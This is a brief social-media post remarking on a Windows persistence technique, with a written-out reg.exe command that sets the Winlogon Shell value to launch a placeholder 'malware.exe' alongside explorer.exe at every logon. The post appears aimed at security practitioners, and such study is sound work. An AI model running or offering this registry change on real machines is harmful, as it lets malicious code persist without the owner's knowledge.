-
@ Ichinin :verified: :verified_paw: ✅🎯🙄
2025-02-11 14:45:22Interesting persistence technique. Apparently windows winlogon shell accept multiple parameters in one, like this: reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, malware.exe" /f